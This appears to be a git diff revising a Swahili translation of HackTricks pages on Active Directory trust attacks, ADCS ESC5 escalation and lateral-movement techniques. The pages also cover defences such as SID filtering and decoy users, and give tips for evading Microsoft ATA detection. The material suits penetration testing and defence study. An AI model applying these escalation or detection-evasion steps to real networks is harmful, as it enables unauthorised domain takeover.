Njia hii inahitaji uvumilivu, ikisubiri kuundwa kwa vitu vipya vya AD vyenye mamlaka. Kwa kuwa na privileges za SYSTEM, mshambuliaji anaweza kubadilisha Schema ya AD ili kumpa mtumiaji yeyote udhibiti kamili juu ya makundi yote. Hii inaweza kusababisha ufikiaji usioidhinishwa na udhibiti wa vitu vipya vya AD vilivyoundwa.
|
||||
Njia hii inahitaji uvumilivu, kusubiri kuundwa kwa vitu vipya vya AD vyenye mamlaka. Kwa kuwa na haki za SYSTEM, mshambuliaji anaweza kubadilisha Schema ya AD ili kumpa mtumiaji yeyote udhibiti kamili juu ya makundi yote. Hii inaweza kusababisha ufikiaji usioidhinishwa na udhibiti wa vitu vipya vya AD vilivyoundwa.
|
||||
|
||||
Kusoma zaidi kunaweza kupatikana kwenye [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
**From DA to EA with ADCS ESC5**
|
||||
|
||||
Ukatili wa ADCS ESC5 unalenga udhibiti wa vitu vya Public Key Infrastructure (PKI) ili kuunda kigezo cha cheti kinachowezesha uthibitisho kama mtumiaji yeyote ndani ya msitu. Kwa kuwa vitu vya PKI vinapatikana katika Configuration NC, kuhatarisha DC ya mtoto inayoweza kuandikwa kunaruhusu utekelezaji wa mashambulizi ya ESC5.
|
||||
Ukatili wa ADCS ESC5 unalenga udhibiti wa vitu vya Public Key Infrastructure (PKI) ili kuunda kigezo cha cheti kinachowezesha uthibitisho kama mtumiaji yeyote ndani ya msitu. Kwa kuwa vitu vya PKI vinapatikana katika Configuration NC, kuathiri DC ya mtoto inayoweza kuandikwa kunaruhusu utekelezaji wa mashambulizi ya ESC5.
|
||||
|
||||
Maelezo zaidi kuhusu hili yanaweza kusomwa katika [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Katika hali ambazo hazina ADCS, mshambuliaji ana uwezo wa kuanzisha vipengele muhimu, kama ilivyojadiliwa katika [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
Maelezo zaidi kuhusu hili yanaweza kusomwa katika [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Katika hali zisizo na ADCS, mshambuliaji ana uwezo wa kuanzisha vipengele muhimu, kama ilivyojadiliwa katika [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### External Forest Domain - One-Way (Inbound) or bidirectional
|
||||
```powershell
|
||||
@ -637,7 +637,7 @@ TrustDirection : Outbound --> Outbound trust
|
||||
WhenCreated : 2/19/2021 10:15:24 PM
|
||||
WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
Katika hali hii **domeni yako** in **aminia** baadhi ya **mamlaka** kwa kiongozi kutoka **domeni tofauti**.
|
||||
Katika hali hii **domeni yako** in **aminika** baadhi ya **mamlaka** kwa kiongozi kutoka **domeni tofauti**.
|
||||
|
||||
Hata hivyo, wakati **domeni inayoaminika** na domeni inayoweka imani, domeni inayowekwa imani **inaunda mtumiaji** mwenye **jina linaloweza kutabiriwa** ambalo linatumia kama **nenosiri nenosiri lililoaminika**. Hii ina maana kwamba inawezekana **kufikia mtumiaji kutoka kwenye domeni inayoweka imani ili kuingia kwenye ile inayowekwa imani** ili kuhesabu na kujaribu kupandisha mamlaka zaidi:
|
||||
|
||||
@ -659,47 +659,47 @@ rdp-sessions-abuse.md
|
||||
### **SID Filtering:**
|
||||
|
||||
- Hatari ya mashambulizi yanayotumia sifa ya historia ya SID katika imani za msitu inapunguziliwa mbali na SID Filtering, ambayo imewezeshwa kwa chaguo-msingi kwenye imani zote za kati ya msitu. Hii inategemea dhana kwamba imani za ndani ya msitu ni salama, ikizingatia msitu, badala ya domeni, kama mpaka wa usalama kulingana na msimamo wa Microsoft.
|
||||
- Hata hivyo, kuna tatizo: SID filtering inaweza kuingilia programu na ufikiaji wa watumiaji, na kusababisha kuondolewa kwake mara kwa mara.
|
||||
- Hata hivyo, kuna tatizo: SID filtering inaweza kuathiri programu na ufikiaji wa watumiaji, na kusababisha kuondolewa kwake mara kwa mara.
|
||||
|
||||
### **Uthibitishaji wa Chaguo:**
|
||||
|
||||
- Kwa imani za kati ya msitu, kutumia Uthibitishaji wa Chaguo kunahakikisha kwamba watumiaji kutoka kwenye msitu mbili hawathibitishwi moja kwa moja. Badala yake, ruhusa wazi zinahitajika kwa watumiaji kufikia domeni na seva ndani ya domeni au msitu unaoweka imani.
|
||||
- Ni muhimu kutambua kwamba hatua hizi hazilindi dhidi ya matumizi mabaya ya Muktadha wa Jina la Mwandiko (NC) unaoweza kuandikwa au mashambulizi kwenye akaunti ya imani.
|
||||
- Kwa imani za kati ya msitu, kutumia Uthibitishaji wa Chaguo kunahakikisha kwamba watumiaji kutoka kwenye msitu mbili hawathibitishwi kiotomatiki. Badala yake, ruhusa wazi zinahitajika kwa watumiaji kufikia domeni na seva ndani ya domeni au msitu unaoweka imani.
|
||||
- Ni muhimu kutambua kwamba hatua hizi hazilinda dhidi ya matumizi mabaya ya Muktadha wa Jina la Mwandiko (NC) unaoweza kuandikwa au mashambulizi kwenye akaunti ya imani.
|
||||
|
||||
[**Taarifa zaidi kuhusu imani za domeni katika ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Ulinzi wa Jumla
|
||||
|
||||
[**Jifunze zaidi kuhusu jinsi ya kulinda akidi hapa.**](../stealing-credentials/credentials-protections.md)
|
||||
[**Jifunze zaidi kuhusu jinsi ya kulinda hati hapa.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
### **Hatua za Kijamii za Ulinzi wa Akidi**
|
||||
### **Hatua za Kijamii za Ulinzi wa Hati**
|
||||
|
||||
- **Vikwazo vya Wasimamizi wa Domeni**: Inapendekezwa kwamba Wasimamizi wa Domeni wanapaswa kuruhusiwa kuingia tu kwenye Wasimamizi wa Domeni, kuepuka matumizi yao kwenye mwenyeji wengine.
|
||||
- **Mamlaka ya Akaunti ya Huduma**: Huduma hazipaswi kuendeshwa kwa mamlaka ya Wasimamizi wa Domeni (DA) ili kudumisha usalama.
|
||||
- **Kikomo cha Mamlaka ya Muda**: Kwa kazi zinazohitaji mamlaka ya DA, muda wao unapaswa kuwa mdogo. Hii inaweza kufikiwa kwa: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Kikomo cha Mamlaka ya Muda**: Kwa kazi zinazohitaji mamlaka ya DA, muda wao unapaswa kuwa mdogo. Hii inaweza kufanywa kwa: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Kutekeleza Mbinu za Udanganyifu**
|
||||
|
||||
- Kutekeleza udanganyifu kunahusisha kuweka mtego, kama vile watumiaji wa udanganyifu au kompyuta, kwa vipengele kama vile nenosiri ambazo hazitaisha au zimewekwa kama Zinazoaminika kwa Uwakilishi. Njia ya kina inajumuisha kuunda watumiaji wenye haki maalum au kuwaongeza kwenye vikundi vya mamlaka ya juu.
|
||||
- Kutekeleza udanganyifu kunahusisha kuweka mitego, kama vile watumiaji wa udanganyifu au kompyuta, zikiwa na sifa kama vile nenosiri ambazo hazitaisha au zimewekwa kama Zinazoaminika kwa Uwakilishi. Njia ya kina inajumuisha kuunda watumiaji wenye haki maalum au kuwaongeza kwenye vikundi vya mamlaka ya juu.
|
||||
- Mfano wa vitendo unahusisha kutumia zana kama: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Zaidi kuhusu kutekeleza mbinu za udanganyifu yanaweza kupatikana kwenye [Deploy-Deception kwenye GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
### **Kutambua Udanganyifu**
|
||||
|
||||
- **Kwa Vitu vya Mtumiaji**: Viashiria vya kutatanisha ni pamoja na ObjectSID isiyo ya kawaida, kuingia mara chache, tarehe za uumbaji, na idadi ndogo ya nenosiri mbaya.
|
||||
- **Kwa Vitu vya Mtumiaji**: Viashiria vya kutatanisha ni pamoja na ObjectSID isiyo ya kawaida, kuingia mara chache, tarehe za uundaji, na idadi ndogo ya nywila mbaya.
|
||||
- **Viashiria vya Jumla**: Kulinganisha sifa za vitu vya udanganyifu vinavyowezekana na zile za halali kunaweza kufichua kutokuelewana. Zana kama [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) zinaweza kusaidia katika kutambua udanganyifu kama huo.
|
||||
|
||||
### **Kupita Mfumo wa Ugunduzi**
|
||||
|
||||
- **Kupita Ugunduzi wa Microsoft ATA**:
|
||||
- **Uhesabuji wa Watumiaji**: Kuepuka uhesabuji wa kikao kwenye Wasimamizi wa Domeni ili kuzuia ugunduzi wa ATA.
|
||||
- **Uigaji wa Tiketi**: Kutumia **aes** funguo kwa ajili ya uundaji wa tiketi husaidia kuepuka ugunduzi kwa kutokudharau hadi NTLM.
|
||||
- **Uigaji wa Tiketi**: Kutumia **aes** funguo kwa ajili ya uundaji wa tiketi husaidia kuepuka ugunduzi kwa kutokushuka hadi NTLM.
|
||||
- **Mashambulizi ya DCSync**: Kutekeleza kutoka kwa Wasimamizi wa Domeni sio pendekezo, kwani kutekeleza moja kwa moja kutoka kwa Wasimamizi wa Domeni kutasababisha arifa.
|
||||
|
||||
## Marejeleo
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Kuna njia tofauti za kutekeleza amri katika mifumo ya nje, hapa unaweza kupata maelezo kuhusu jinsi mbinu kuu za Windows lateral movements zinavyofanya kazi:
|
||||
Kuna njia tofauti za kutekeleza amri katika mifumo ya nje, hapa unaweza kupata maelezo kuhusu jinsi mbinu kuu za Windows za lateral movement zinavyofanya kazi:
|
||||
|
||||
- [**PsExec**](psexec-and-winexec.md)
|
||||
- [**SmbExec**](smbexec.md)
|
||||
@ -10,8 +10,8 @@ Kuna njia tofauti za kutekeleza amri katika mifumo ya nje, hapa unaweza kupata m
|
||||
- [**AtExec / SchtasksExec**](atexec.md)
|
||||
- [**WinRM**](winrm.md)
|
||||
- [**DCOM Exec**](dcom-exec.md)
|
||||
- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud)
|
||||
- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud)
|
||||
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud)
|
||||
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
|
||||
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
|
||||
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user